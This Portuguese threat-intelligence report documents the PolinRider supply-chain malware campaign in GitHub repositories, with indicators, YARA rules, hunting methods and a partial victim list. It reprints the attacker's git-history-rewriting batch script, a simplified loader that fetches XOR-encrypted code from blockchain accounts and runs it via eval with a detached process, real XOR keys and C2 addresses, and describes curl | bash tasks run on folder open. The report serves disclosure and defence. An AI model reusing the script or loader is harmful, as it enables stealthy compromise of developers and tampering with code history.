
Dossiê técnico sobre o ataque à cadeia de suprimentos PolinRider ligado à Coreia do Norte, documentando injeção de payload JS ofuscado, manipulação do histórico do git, infraestrutura C2 e orientação de remediação para 1,951 repositórios comprometidos.

A equipe do OpenSourceMalware descobriu uma campanha massiva de ameaça que está implantando malware em repositórios de usuários e organizações do GitHub. O ator de ameaça, PolinRider, implantou cargas úteis JavaScript ofuscadas maliciosas em centenas de repositórios públicos do GitHub pertencentes a centenas de proprietários únicos. Use a tag #polinrider para ver todos os relatórios de ameaça relacionados a esta campanha, e vá para o final deste blog para a lista de repositórios comprometidos, incluindo aqueles que recomendamos priorizar para ação imediata. Lembre-se de que a tag é a melhor forma de obter dados atuais.
A carga útil JavaScript é anexada ao final de arquivos de configuração reais de projetos — silenciosamente, após o conteúdo legítimo do arquivo — tornando fácil de ser perdida durante uma revisão de código casual. O vetor de infecção principal parece ser um pacote npm comprometido que é executado durante a instalação ou build e injeta a si mesmo em arquivos de configuração na raiz do projeto. Ainda pior, este ator de ameaça usou a mesma técnica para criar pacotes NPM maliciosos também.
Este ataque foi extremamente bem-sucedido, com um projeto de código aberto comprometido, o Neutralinojs, espalhando o malware para centenas de seus usuários e contribuidores. O Neutralinojs é um projeto muito popular com 8.400 estrelas, 495 forks e dezenas de contribuidores ativos. Este é o poder desse tipo de ataque, pois a ameaça não se limita apenas aos repositórios iniciais do GitHub, mas se estende a todos os outros projetos que usam esse código aberto.
A equipe do OpenSourceMalware atribuiu esta campanha à Coreia do Norte, e o ator de ameaça PolinRider é um contribuidor conhecido do grupo Lazarus com conexões com as campanhas "Contagious Interview" e "TasksJacker".
Esta campanha cresceu dramaticamente desde a primeira publicação. Em 2026-04-11, a equipe OSM confirmou 1.951 repositórios públicos do GitHub pertencentes a 1.047 proprietários únicos comprometidos. Isso é um aumento de 2,9× nas cinco semanas desde a data de publicação original (8 de março: 675 repositórios / 352 proprietários).

Em uma caça de acompanhamento iniciada em 2026-04-10 e continuada em 2026-04-11, a equipe OSM fez várias descobertas importantes:
A campanha mais que dobrou em 5 semanas. Enumeração cruzada via GitHub Code Search e Sourcegraph (com refinamento além do limite de 1.000 resultados da API — veja metodologia abaixo) revelou 1.556 repositórios comprometidos únicos em nosso mestre v3 no primeiro dia. Uma caça de rodada 2 no segundo dia adicionou outros 215 novos repositórios via pivôs de nomes de pacotes npm, pivôs de tasks.json / provedor de nuvem do VS Code e o recém-descoberto subdomínio C2 default-configuration.vercel.app. Após deduplicação contra o corpus existente affected_repos.csv, o escopo verdadeiro conhecido é agora 1.951 repositórios vítima únicos / 1.047 proprietários únicos.
Uma nova variante foi observada. O PolinRider rotacionou todas as impressões digitais únicas de seu ofuscador preservando a arquitetura. A nova variante usa o marcador de assinatura Cot%3t=shtP (era rmcej%otb%), semente de embaralhamento 1111436 (era 2857687), semente secundária 3896884 (era 2667686) e nome da função decodificadora MDy (era _$_1e42). Essa rotação parece ser uma resposta de evasão à regra YARA . Ambas as variantes estão atualmente ativas na natureza. Veja abaixo.
Os relatórios completos da caça v3 + rodada 2 e os TSVs mestre estão em reports/.
O ator de ameaça não está usando credenciais roubadas do GitHub. Em vez disso, as vítimas foram comprometidas por meio de uma extensão maliciosa do VS Code ou de um pacote NPM. Ainda não sabemos qual é esse vetor inicial, mas sabemos o que ele faz a partir das evidências forenses.
A primeira coisa que acontece é que o malware executa uma função de busca no computador local que procura por certos arquivos como:
postcss.config.mjstailwind.config.jseslint.config.mjsnext.config.mjsbabel.config.jsApp.jsapp.jsSe encontrar um desses arquivos, ele anexará código JavaScript malicioso fortemente ofuscado ao final desse arquivo. Em seguida, o malware instala um arquivo batch do Windows, chamado temp_auto_push.bat. Sabemos que este arquivo existe e o que ele faz porque os atores de ameaça o deixaram em centenas de servidores comprometidos, o que dá aos pesquisadores uma impressão digital para buscar. Aqui está o arquivo batch na íntegra:```
@echo off
for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A
for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A
echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
echo %LAST_COMMIT_TEXT%
echo %USER_NAME% (%USER_EMAIL%)
echo Branch: %CURRENT_BRANCH%
set CURRENT_DATE=%date%
set CURRENT_TIME=%time%
date %LAST_COMMIT_DATE%
time %LAST_COMMIT_TIME%
echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
git config --local user.name %USER_NAME%
git config --local user.email %USER_EMAIL%
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
date %CURRENT_DATE%
time %CURRENT_TIME%
echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit!
git push -uf origin %CURRENT_BRANCH% --no-verify
@echo on
### Análise do Arquivo Batch
Este arquivo batch **reescreve o commit git mais recente preservando seu timestamp original** — efetivamente fazendo com que um commit alterado pareça nunca ter sido tocado.
#### Fase 1: Extrair Metadados do Último Commit
Ele executa `git log -1` cinco vezes para obter os detalhes do último commit em variáveis de ambiente:
| Variável | Valor capturado |
|---|---|
| `LAST_COMMIT_DATE` | Data do último commit (AAAA-MM-DD) |
| `LAST_COMMIT_TIME` | Hora do último commit (HH:MM:SS) |
| `LAST_COMMIT_TEXT` | Mensagem do commit |
| `USER_NAME` | Nome do autor |
| `USER_EMAIL` | Email do autor |
| `CURRENT_BRANCH` | Nome do branch atual |
#### Fase 2: Exibir Informações Extraídas
Exibe esses valores no console para que você possa ver o que foi capturado antes de prosseguir.
#### Fase 3: O Truque do Timestamp (Manipulação Central)
1. Salva a data e hora *atuais* do sistema em variáveis
2. **Altera o relógio do sistema Windows** para corresponder à data e hora do último commit
3. Define o `user.name` e `user.email` locais do git para corresponder ao autor do commit original
#### Fase 4: Alterar o Commit```bat
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
Como o relógio do sistema foi atrasado, o git registra o commit alterado com o timestamp original, fazendo parecer que não foi modificado no histórico. --no-verify ignora quaisquer hooks de pré-commit.
-uf e --no-verify para ignorar hooks de pushEste script permite modificar silenciosamente o último commit (adicionando ou alterando arquivos) enquanto faz com que o commit reescrito pareça ter o mesmo autor, timestamp e mensagem de antes. Para qualquer observador que veja o histórico do git, parece que o commit nunca foi alterado.
-uf) sobrescreverá o histórico remoto — destrutivo para qualquer outra pessoa no branch--no-verify intencionalmente ignoram quaisquer hooks de CI/CD ou verificações de lintAssumimos que o malware tem funções semelhantes para reescrever histórico do git em outros sistemas operacionais como Linux e macOS. De fato, vimos evidências de que isso está acontecendo em outros SOs, mas os atores da ameaça não deixaram ferramentas que funcionam nessas outras plataformas no código-fonte como fizeram para o Windows.
Para proprietários de repositórios afetados:
postcss.config.*, tailwind.config.*, eslint.config.*, next.config.*, vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, etc.) em busca de conteúdo após export default ou module.exports. Verifique também branches não padrão e caminhos aninhados de monorepo (apps/*/, frontend/, client/, web/, etc.) — muitas vítimas estão infectadas apenas em caminhos profundos.Para ferramentas de segurança / registros:
polinrider_payload (abaixo) em pipelines de análise estática — cobre ambas as variantes rmcej%otb% e Cot%3t=shtP.filename:temp_auto_push.bat e LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat como consultas de monitoramento contínuo no GitHub Code Search.Nossa equipe escreveu um script bash que verificará seu sistema local quanto a comprometimento. No final deste post de blog você pode saber mais, ou pode acessar o script aqui
A atualização de 10 de abril expandiu significativamente a lista de tipos de arquivo. O malware atinge um conjunto maior de arquivos da família JS do que documentado originalmente, e foi observado dentro de ativos binários como arquivos de fonte .woff2. As contagens abaixo refletem o corpus de 2026-04-10 com 1.736 repositórios únicos.
O domínio do postcss.config.mjs (~62% dos repositórios em ambos os pontos de dados) continua apontando para o ecossistema PostCSS / Tailwind como o principal vetor de infecção. As entradas recém-observadas — vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, truffle.js e arquivos binários .woff2 — mostram que o malware expandiu suas heurísticas de segmentação de arquivos ou que o ator da ameaça está usando múltiplos veículos de pacotes npm para alcançar vítimas que usam diferentes ferramentas de build.
O artefato do script de propagação temp_auto_push.bat foi deixado para trás em 101 repositórios de vítimas, mesmo em casos onde o payload JS já foi limpo pelo proprietário. Este arquivo é um dos indicadores de maior confiança de comprometimento passado.

O ator da ameaça publicou vários pacotes NPM maliciosos, todos se passando por utilitários adjacentes ao Tailwind / PostCSS. Em 2026-04-11, as contas npm allavin e blackedward foram ambas deletadas do npm e seus pacotes removidos, mas os repositórios de vítimas existentes ainda carregam as referências de dependência e (em muitos casos) ainda têm o malware injetado pós-instalação em seus arquivos de configuração.
A caça de 11 de abril confirmou que tailwindcss-style-animate ^1.1.6 é a dependência maliciosa primária do template falso de entrevista ShoeVista — 34 das 46 descobertas via pivot de pacote npm são reenvios desse template por desenvolvedores com essa dependência exata. Os outros pacotes na lista são usados por campanhas irmãs (por exemplo, tailwind-autoanimation no cluster devhire-frontend e reactapp-6).
Investigadores que desejam pivotar pela árvore de dependentes do npm devem notar que este pivot não é mais viável para tailwind-mainanimation — o npm removeu a versão maliciosa ativa. Pivotem em vez disso via consultas "<nome_do_pacote>" filename:package.json no GitHub Code Search, que ainda retornam as referências fantasmas em repositórios de vítimas.

O pacote tailwind-autoanimation usa a mesma técnica exata de anexar o payload JavaScript malicioso ao final do arquivo de ponto de entrada src/index.js:

O PolinRider entrega um payload multi-estágio, que culmina em uma nova versão do malware DPRK Beavertail. O payload inicial é um backdoor/infostealer de comprometimento em massa que injeta um payload JavaScript ofuscado nos repositórios de desenvolvedores legítimos. O payload é anexado após espaçamento em branco em arquivos de configuração comuns (postcss.config.mjs, eslint.config.mjs, tailwind.config.js, etc.) para que seja executado automaticamente quando as ferramentas de build importam o módulo. Ele usa uma rotina de desofuscação de embaralhamento de strings em múltiplas camadas, construindo e executando via eval() o payload final em tempo de execução.
A equipe OSM observou até agora duas variantes ativas deste ofuscador com impressões digitais únicas rotacionadas:
("rmcej%otb%",2857687), função decodificadora _$_1e42, semente secundária 2667686, marcador de injeção global['!'].Cot%3t=shtP, semente de embaralhamento 1111436, função decodificadora MDy, semente secundária 3896884, marcador de injeção global['_V']='8-XXX'. Mesma arquitetura, todas as constantes únicas rotacionadas — quase certamente uma resposta de evasão à regra YARA rmcej_otb_payload publicada.Ambas as variantes usam a mesma infraestrutura C2 de dead drop baseada em blockchain (TRON / Aptos / BSC) com as mesmas chaves XOR, e ambas estão atualmente ativas na natureza.
Este payload final é um sofisticado resolvedor de dead drop baseado em blockchain que usa transações imutáveis de blockchain como infraestrutura de Comando & Controle (C2). O malware busca payloads JavaScript criptografados de contas de blockchain (TRON, Aptos e BSC), os descriptografa usando criptografia XOR e os executa via eval(). Esta técnica torna a infraestrutura C2 virtualmente impossível de derrubar, pois os dados da blockchain são imutáveis.
Comunicação C2 Baseada em Blockchain
Descriptografia de Payload
Execução Remota de Código
eval()Recursos Anti-Análise
A equipe OSM descreveu a cadeia de ataque completa para este malware em nosso blog sobre o recente comprometimento do Neutralinojs.
O malware usa quatro camadas de ofuscação:
Camada 1: Algoritmo de troca de caracteres com semente 2857687
['r', 'object', 'm'] (require, typeof check, module)Camada 2: Troca de caracteres com semente 2667686
Camada 3: Cifra de substituição personalizada
.c, .a, etc. por caracteres reais\, `, espaço, nova linha, *, ' e maisCamada 4: Criptografia XOR para payloads finais
Cot%3t=shtPEm abril de 2026, a equipe OSM identificou uma segunda variante ativa do ofuscador PolinRider. A arquitetura é idêntica à original — mesma cifra de embaralhamento em 4 camadas, mesmo dead drop de blockchain C2, mesmo Beavertail multi-estágio de segundo estágio — mas cada string de impressão digital única foi rotacionada, quase certamente em resposta à regra YARA rmcej_otb_payload publicada.
A nova variante usa uma linha de marcador de injeção adicional: global['_V']='8-XXX' (onde 8-XXX é uma tag de versão por injeção, por exemplo, 8-st1, 8-st2, …, 8-st59, mais um lote numérico paralelo como 8-413, 8-683, 8-778, 8-974). As tags sequenciais '8-stN' são a evidência mais forte da equipe OSM de que as ferramentas do ator da ameaça atribuem um ID numérico por vítima e que pelo menos 59 injeções sequenciais desta variante existem (algumas ainda não indexadas pela busca pública de código).
Pelo menos um repositório — HassanHabibTahir/testclient — contém marcadores de AMBAS as variantes em arquivos diferentes (rmcej%otb% em postcss.config.mjs e global['_V'] em outro arquivo), indicando que as ferramentas do ator da ameaça estão reexecutando contra hosts previamente comprometidos com o ofuscador rotacionado. Defensores não devem assumir que um repositório uma vez limpo permanece limpo.
Além dos vetores de entrega via pacote npm e .vscode/tasks.json, o ator da ameaça PolinRider criou pelo menos dois projetos de teste para levar para casa falsos distribuídos a candidatos via iscas de entrevista de emprego falsas (o clássico playbook Contagious Interview). Esses templates de projeto vêm pré-carregados com dependências maliciosas ou payloads em tasks.json, de modo que simplesmente clonar e executar o projeto desencadeia a infecção.
ShoeVista (também visto como shoevista, shoe-vista, Test-west-shoe, Test-002, product-catalog, mern-app, vários forks nomeados por candidatos)client/, backend Node/Express em server/ (típico MERN de teste)"tailwindcss-style-animate": "^1.1.6" em client/package.jsonname do Package.json: "client" (genérico — a marca ShoeVista está no README / página de aterrissagem da empresa falsa)"projectInfo": { "name": "StakingGame", "description": "Advanced VSCode automation for multi-environment blockchain deployment.", "uuid": "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" } — o UUID é constante em todas as vítimas e é o indicador mais forte deste template.vscode/tasks.json predefinido com runOn: folderOpen executando curl | bash contra default-configuration.vercel.app e os outros subdomínios Vercel C2 recém-descobertosDevba/lmng-top-, wyrustaaruz/cal-eco-platformA existência de projetos template predefinidos significa:
test-*, *-test, *-interview, *-assessment, *-task) em suas heurísticas de busca.### Estrutura do Código```javascript
// Simplified structure (actual code is heavily obfuscated)
async function fetchPayloadFromTron(address) {
// Queries TRON API for account transactions
const response = await https.get(
`https://api.trongrid.io/v1/accounts/${address}/transactions?only_confirmed=true&only_from=true&limit=1`
);
// Extracts encrypted data from transaction
return response.data[0].raw_data.data;
}
async function fetchPayloadFromAptos(txHash) {
// Queries Aptos API for transaction details
const response = await https.get(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${txHash}/transactions?limit=1`
);
// Extracts payload from transaction arguments
return response[0].payload.arguments[0];
}
function xorDecrypt(encryptedData, key) {
// XOR decryption with repeating key
let result = '';
for (let i = 0; i < encryptedData.length; i++) {
const keyChar = key.charCodeAt(i % key.length);
result += String.fromCharCode(encryptedData.charCodeAt(i) ^ keyChar);
}
return result;
}
// Main execution
const encryptedPayload = await fetchPayloadFromTron("TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP");
const decryptedCode = xorDecrypt(encryptedPayload, "2[gWfGj;<:-93Z^C");
eval(decryptedCode); // EXECUTES ARBITRARY CODE
// Persistence via detached child process
require('child_process').spawn('node', ['-e', `global['_V']='...'${decryptedCode}`], {
detached: true,
stdio: 'ignore',
windowsHide: true
});
Usado em payloads curl | bash no .vscode/tasks.json com runOn: folderOpen. Todos seguem o formato de URL https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. Estes são os servidores de bootstrap controlados pelo atacante que entregam o carregador JS PolinRider às vítimas do VS Code.
Todos os cinco domínios vscode-* / default-configuration foram descobertos na caça de 10 a 11 de Abril e agora fazem parte do conjunto de consultas de caça OSM. Espere mais subdomínios irmãos, pois os domínios Vercel são baratos/descartáveis para o atacante.
TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (Primário)TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG (Secundário)Endpoint da API: https://api.trongrid.io/v1/accounts/
0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e (Primário)0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 (Secundário)Endpoint da API: https://fullnode.mainnet.aptoslabs.com/v1/accounts/
bsc-dataseed.binance.orgbsc-rpc.publicnode.comMétodo: eth_getTransactionByHash
2[gWfGj;<:-93Z^Cm6:tTh^D)cBz?NM]e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 — aparece no campo projectInfo.uuid do .vscode/tasks.json malicioso para o template de entrevista falsa StakingGame. Altamente específico; 0 falsos positivos em testes.A regra original rmcej_otb_payload (ainda válida para a variante original) foi substituída por uma regra multi-variante que captura tanto a cepa original rmcej%otb% quanto a cepa rotacionada Cot%3t=shtP. Use esta em pipelines de análise estática.```yara
rule polinrider_payload {
meta:
description = "Detects PolinRider shuffle-cipher JS payloads — both rmcej%otb% (v1) and Cot%3t=shtP (v2) variants"
author = "OpenSourceMalware.com"
date = "2026-04-10"
severity = "high"
strings:
// Original variant (rmcej%otb%)
$marker_v1 = "rmcej%otb%"
$seed1_v1 = "2857687"
$seed2_v1 = "2667686"
$varname_v1 = "_$_1e42"
$global_bang = "global['!']"
// New variant (Cot%3t=shtP)
$marker_v2 = "Cot%3t=shtP"
$seed1_v2 = "1111436"
$seed2_v2 = "3896884"
$varname_v2 = "MDy"
$global_V = "global['_V']"
// Common across variants
$global_r = "global['r'] = require"
$global_m = "global['m'] = module"
condition:
any of ($marker_*) or
($global_bang and ($seed1_v1 or $varname_v1)) or
($global_V and ($seed1_v2 or $varname_v2)) or
($global_r and $global_m and (any of ($seed1_*)))
}
### Regra YARA (Legado) — apenas variante original```yara
rule rmcej_otb_payload {
meta:
description = "Detects rmcej%otb% shuffle-cipher JS payload injected into config files (original variant only)"
author = "OpenSourceMalware.com"
date = "2026-03-07"
severity = "high"
strings:
$marker = "rmcej%otb%"
$global = "global['!']"
$seed1 = "2857687"
$seed2 = "2667686"
$varname = "_$_1e42"
condition:
$marker or ($global and $seed1) or ($varname and $seed2)
}
Os dados foram coletados usando a API GitHub Code Search via gh search code, executando uma consulta por nome de arquivo infectado para contornar o limite de 1.000 resultados por consulta. Os resultados foram deduplicados pelo nome completo do repositório.
A caçada de 10 de abril expandiu a coleta de dados combinando cinco pivôs ortogonais e aplicando uma estratégia de partição por extensão/tamanho/fork para ultrapassar o limite de 1.000 resultados por consulta do GitHub Code Search no pivô mais poderoso.
A consulta do nome da função decodificadora _$_1e42 reportou total_count: 968 e limitou-se a 1.000 itens retornados, mas a interface web do GitHub mostrou mais de 1.400 correspondências. Refinar em subconsultas ortogonais que cada uma fique abaixo de 1.000 resultados, e depois tomar a união, quebrou o limite:
Três descobertas cruciais deste exercício:
fork:false). Adicionar fork:true revelou 157 repositórios fork contendo o marcador que eram completamente invisíveis para a consulta original.size:5000..10000 em fatias de 1 KB gerou 986 resultados contra os 968 reportados do grupo — mesmo dentro de um total reportado abaixo de 1000, o limite pode ocultar entradas. A abordagem correta é o agrupamento recursivo até que cada grupo esteja bem abaixo do limite.extension: geram mais resultados totais do que divisões por language: porque a detecção de linguagem do GitHub às vezes exclui .mjs e .cjs do grupo JavaScript.Combinando os dados da caçada de 10 a 11 de abril com o affected_repos.csv existente, obtém-se o verdadeiro corpus atualmente conhecido:
Em 44 amostras aleatórias coletadas nas duas rodadas da caçada, 0 falsos positivos foram observados. Cada repositório amostrado continha pelo menos um dos invariantes do PolinRider (rmcej%otb%, Cot%3t=shtP, _$_1e42, MDy, global['!'], global['_V'], LAST_COMMIT_DATE dentro de um .bat de propagação, um pacote npm malicioso conhecido em package.json, ou um .vscode/tasks.json com um curl | bash para um dos subdomínios C2 conhecidos) no arquivo no caminho do pivô indexado.
A rodada 2 especificamente introduziu duas novas classificações de variantes na taxonomia de submissão:
malicious_npm: o repositório contém um dos 7 pacotes npm maliciosos conhecidos em um package.json (45 submissões — quase todos reenvios do template ShoeVista).tasksjacker: o repositório contém um .vscode/tasks.json com uma tarefa runOn: folderOpen executando curl | bash ou wget | sh contra um subdomínio C2 do Vercel/Render/Railway (27 submissões — inclui o cluster do template StakingGame).Todos os repositórios comprometidos podem ser encontrados através da tag #polinrider do OpenSourceMalware.
Os CSVs completos estão classificados por impacto para triagem.
Alvos prioritários:
sparktechagency(130 seguidores, 12 repositórios) eFSDTeam-SAA(21 seguidores, 12 repositórios) são as organizações de maior volume. Entre os indivíduos,coderkhalide(349 seguidores) tem o maior alcance direto.
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | Codechef-VITC-Student-Chapter | Organização | 6 | 11 | 1 | Client/postcss.config.mjs | | https://github.com/Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | | 2 | sparktechagency/Vap-shop-Front-End- | sparktechagency | Organização | 7 | 0 | 1 | postcss.config.mjs | VapeShopMaps – Uma plataforma social e de e-commerce B2B conectando usuários, lojas, marcas e atacadistas com funcionalidades sociais em tempo real e otimização avançada de SEO. | https://github.com/sparktechagency/Vap-shop-Front-End- | | 3 | MIS-Silekta/silekta-frontend | MIS-Silekta | Organização | 1 | 3 | 1 | postcss.config.mjs | Este é o repositório frontend da empresa silekta para o módulo MIS. | https://github.com/MIS-Silekta/silekta-frontend | | 4 | UzairOrganization/allTask | UzairOrganization | Organização | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/UzairOrganization/allTask | | 5 | FSDTeam-SAA/nico41278-frontend | FSDTeam-SAA | Organização | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/nico41278-frontend | | 6 | FSDTeam-SAA/cstrat_frontend | FSDTeam-SAA | Organização | 1 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/cstrat_frontend | | 7 | SoftySkills/quiz_app | SoftySkills | Organização | 3 | 0 | 1 | postcss.config.mjs | | https://github.com/SoftySkills/quiz_app | | 8 | dawahanigeria-team/rayyan-server | dawahanigeria-team | Organização | 3 | 0 | 1 | eslint.config.mjs | Servidor Rayyan App | https://github.com/dawahanigeria-team/rayyan-server | | 9 | FSDTeam-SAA/sahara_53 | FSDTeam-SAA | Organização | 0 | 1 | 1 | postcss.config.mjs | Build a Story Time é uma plataforma baseada em IA que permite aos usuários criar livros de histórias personalizados usando sua própria voz e rostos como personagens. Ela transforma a contação de histórias em uma experiência mágica, interativa e profundamente pessoal. | https://github.com/FSDTeam-SAA/sahara_53 | | 10 | FSDTeam-SAA/lowready-frontend | FSDTeam-SAA | Organização | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/lowready-frontend | | 11 | Addis-Career/Frontend | Addis-Career | Organização | 0 | 1 | 1 | postcss.config.mjs | | | | 12 | etrainermis/mineduc-Form | etrainermis | Organização | 0 | 1 | 1 | postcss.config.mjs | Fórum de Celebrações do Dia Mundial da Língua Suaíli da EAC | | | 13 | FSDTeam-SAA/brazen-kits | FSDTeam-SAA | Organização | 0 | 1 | 1 | postcss.config.mjs | | | | 14 | FSDTeam-SAA/Igghy-dashboard | FSDTeam-SAA | Organização | 0 | 1 | 1 | postcss.config.mjs | | | | 15 | FlowBondTech/danz-miniapps | FlowBondTech | Organização | 0 | 1 | 2 | danz-main/postcss.config.mjs | daily-danz/postcss.config.mjs | | | | 16 | BrennansWave-com/brennanswave | BrennansWave-com | Organização | 0 | 1 | 1 | postcss.config.mjs | | | | 17 | FlowBondTech/danz-web | FlowBondTech | Organização | 0 | 1 | 1 | postcss.config.mjs | | | | 18 | QualifyAI/qualify-frontend | QualifyAI | Organização | 0 | 1 | 1 | postcss.config.mjs | | | | 19 | FSDTeam-SAA/ftfdesignco-backend | FSDTeam-SAA | Organização | 0 | 1 | 1 | src/router/index.js | | | | 20 | Gamage-Recruiters-406/Rent_a_Car | Gamage-Recruiters-406 | Organização | 1 | 0 | 1 | frontend/postcss.config.mjs | | | | 21 | Umbrelabs-Projects/Procobiz | Umbrelabs-Projects | Organização | 1 | 0 | 1 | postcss.config.mjs | | | | 22 | The-Extra-Project/Extra_surface_repo | The-Extra-Project | Organização | 1 | 0 | 1 | frontend/postcss.config.mjs | versão de implantação da versão de Laurent para Extra-surface. | | | 23 | Automobile-System/frontend | Automobile-System | Organização | 1 | 0 | 1 | postcss.config.mjs | | | | 24 | VplayProCrypto/mvp_vercel | VplayProCrypto | Organização | 1 | 0 | 1 | tailwind.config.js | Repositório do mvp da fase 1 | | | 25 | sparktechagency/nskustoms_custom_game_site-2.0 | sparktechagency | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 26 | softvence-omega-future-stack/gameluke-frontend | softvence-omega-future-stack | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 27 | NexumTechnologies/E-Commerce | NexumTechnologies | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 28 | Umbrelabs-Projects/Hostella-superAdmin | Umbrelabs-Projects | Organização | 0 | 0 | 1 | postcss.config.mjs | Este repositório é para aqueles que registrarão administradores | | | 29 | FSDTeam-SAA/admin-dashboard-gman | FSDTeam-SAA | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 30 | sparktechagency/protippz_website | sparktechagency | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 31 | FlowRMS/flow-connect-frontend-new | FlowRMS | Organização | 0 | 0 | 1 | postcss.config.mjs | Aplicação Frontend FlowConnect | | | 32 | Anthem-InfoTech-Pvt-Ltd/dashboards | Anthem-InfoTech-Pvt-Ltd | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 33 | WeOwnAiAgents-Hackerhouse/WeOwnAiAgent | WeOwnAiAgents-Hackerhouse | Organização | 0 | 0 | 1 | postcss.config.mjs | construindo a plataforma de orquestração de agentes soberanos definitiva, com tokenomics e construída para a comunidade web3. Contribuição para o hackathon ethdenver. | | | 34 | Karigar-App/Karigar | Karigar-App | Organização | 0 | 0 | 1 | packages/ui/postcss.config.mjs | | | | 35 | sparktechagency/silicon-zisan-website | sparktechagency | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 36 | FSDTeam-SAA/hinkel-Website | FSDTeam-SAA | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 37 | FSDTeam-SAA/iwmsadvisors | FSDTeam-SAA | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 38 | Umbrelabs-Projects/Hostella-admin | Umbrelabs-Projects | Organização | 0 | 0 | 1 | postcss.config.mjs | Plataforma de administração Hostella | | | 39 | Umbrelabs-Projects/Hostella-stu | Umbrelabs-Projects | Organização | 0 | 0 | 1 | postcss.config.mjs | Plataforma de reserva de alojamento estudantil Hostella | | | 40 | iwb25-412-vertex-prime/apigateway-v1 | iwb25-412-vertex-prime | Organização | 0 | 0 | 1 | userportal/postcss.config.mjs | Portal do Usuário + Camada de Gerenciamento | Gerenciamento de cotas, imposição de regras, validação de chave de API. | | | 41 | Cloudrika/cloudrika-web | Cloudrika | Organização | 0 | 0 | 2 | packages/ui/postcss.config.mjs | apps/email-portal/next.config.mjs | | | | 42 | sparktechagency/consult_dashboard | sparktechagency | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 43 | sparktechagency/jonowoods-website | sparktechagency | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 44 | Softvence-Omega-Dev-Ninjas/diaz-jupiter-marine-frontend | Softvence-Omega-Dev-Ninjas | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 45 | sparktechagency/profitable-website-v2 | sparktechagency | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 46 | musetax/Amus-fe | musetax | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 47 | sparktechagency/faceAi-front-end | sparktechagency | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 48 | sparktechagency/any-job-dashboard | sparktechagency | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 49 | sparktechagency/anyjob-web | sparktechagency | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 50 | softvence-omega-future-stack/lawalx_frontend | softvence-omega-future-stack | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 51 | softvence-omega-future-stack/kilian-rodhe-last- | softvence-omega-future-stack | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 52 | WeOwnNetwork/EthDenver-submission | WeOwnNetwork | Organização | 0 | 0 | 1 | apps/web/postcss.config.mjs | Construindo o cliente de infraestrutura de orquestração #FedArch com registro de agentes onchain. Submissão para o hackathon ETHDenver 2026 | | | 53 | sparktechagency/betopia-website | sparktechagency | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 54 | FlowRMSLabs/flowdemandwebsite | FlowRMSLabs | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 55 | BhavikPatel-dreamz/wove-gift-portal | BhavikPatel-dreamz | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 56 | BhavikPatel-dreamz/DynamicDreamz-AIagent-Demos | BhavikPatel-dreamz | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 57 | GARAGE-POS/nextjs_test | GARAGE-POS | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 58 | BhavikPatel-dreamz/Homeopathway | BhavikPatel-dreamz | Organização | 0 | 0 | 1 | postcss.config.mjs | Homeopathway | | | 59 | digitalschool-tech/tech-static | digitalschool-tech | Organização | 0 | 0 | 1 | postcss.config.mjs | | | | 60 | tricodenetwork/lock-up | tricodenetwork | Organização | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 61 | Sahl-AI/sahl-ai-iframe | Sahl-AI | Organização | 0 | 0 | 1 | tailwind.config.js | Contém o aplicativo 